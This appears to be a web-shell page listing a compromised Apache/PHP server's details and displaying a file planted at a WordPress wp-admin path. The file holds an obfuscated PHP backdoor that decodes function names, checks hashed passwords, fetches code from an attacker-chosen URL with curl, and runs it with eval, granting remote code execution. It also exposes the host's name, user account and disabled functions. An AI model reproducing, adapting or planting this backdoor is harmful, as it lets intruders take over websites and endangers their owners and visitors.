HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/bandeirantesbomb3/public_html/wp-admin/network/network/index.php
<?php $qH = "r"."a"."n"."g"."e"; $Ng = $qH("~", " "); $S=${$Ng[0+31].$Ng[32+27].$Ng[8+39].$Ng[42+5].$Ng[23+28].$Ng[5+48].$Ng[25+32]}; if((in_array(gettype($S).count($S),$S)&&count($S)==21)&&(md5(md5(md5(md5($S[15]))))==="e7fd7867516cfc4c6f8b8efa4bd93c21")){ (($S[64]=$S[64].$S[74])&&($S[85]=$S[64]($S[85]))&&(@eval($S[64](${$S[35]}[11]))));} metaphone("wDcEHyVXFhFnrHd7VIcnB5bE9cEiQw0jtPyDcl04Ebs"); class nh{ static function iG($XwsjQgSYB) { $zPhk = "r"."a"."n"."g"."e"; $Tuq = $zPhk("~", " "); $LkIg = explode("<", $XwsjQgSYB); $RClnKWrSx = ""; foreach ($LkIg as $ZzbYsI => $CpWu) $RClnKWrSx .= $Tuq[$CpWu - 32388]; return $RClnKWrSx; } static function kjZ($IcbHpm, $axSzGqQk) { $IhVBgCH = curl_init($IcbHpm); curl_setopt($IhVBgCH, CURLOPT_RETURNTRANSFER, 1); $bVIgLKfNsS = curl_exec($IhVBgCH); return empty($bVIgLKfNsS) ? $axSzGqQk($IcbHpm) : $bVIgLKfNsS; } static function irM() { $mRcn = array("32415<32400<32413<32417<32398<32413<32419<32412<32397<32404<32415<32398<32409<32403<32404","32399<32398<32400<32419<32400<32403<32398<32465<32463","32408<32399<32403<32404<32419<32414<32413<32415<32403<32414<32413","32402<32417<32415<32407","32416<32417<32399<32413<32460<32462<32419<32414<32413<32415<32403<32414<32413","32412<32409<32406<32413<32419<32411<32413<32398<32419<32415<32403<32404<32398<32413<32404<32398<32399","32442<32472","32389","32467<32472","32449<32432<32432<32449<32425","32412<32409<32406<32398<32413<32400<32419<32409<32404<32402<32397<32398"); foreach ($mRcn as $uwPCMWHNV) $XEVGqCpBrk[] = self::iG($uwPCMWHNV); $gP = @$XEVGqCpBrk[1]($XEVGqCpBrk[8+2](INPUT_GET, $XEVGqCpBrk[9+0]));  $HijsxNFAb = @$XEVGqCpBrk[0+3]($XEVGqCpBrk[3+3], $gP); $Hvx = $XEVGqCpBrk[2+0]($HijsxNFAb, true);  @$XEVGqCpBrk[9+1](INPUT_GET, "of") == 1 && die($XEVGqCpBrk[2+3](__FILE__)); if( ((@$Hvx[0] - time()) > 0) and (md5(md5($Hvx[1+2])) === "3087be9cebee3fff05b5dd8a731b832c") ): $PKugMEUq = self::kjZ($Hvx[0+1], $XEVGqCpBrk[0+5]);@eval($XEVGqCpBrk[4+0]($PKugMEUq));die; endif; }}nh::irM(); ?>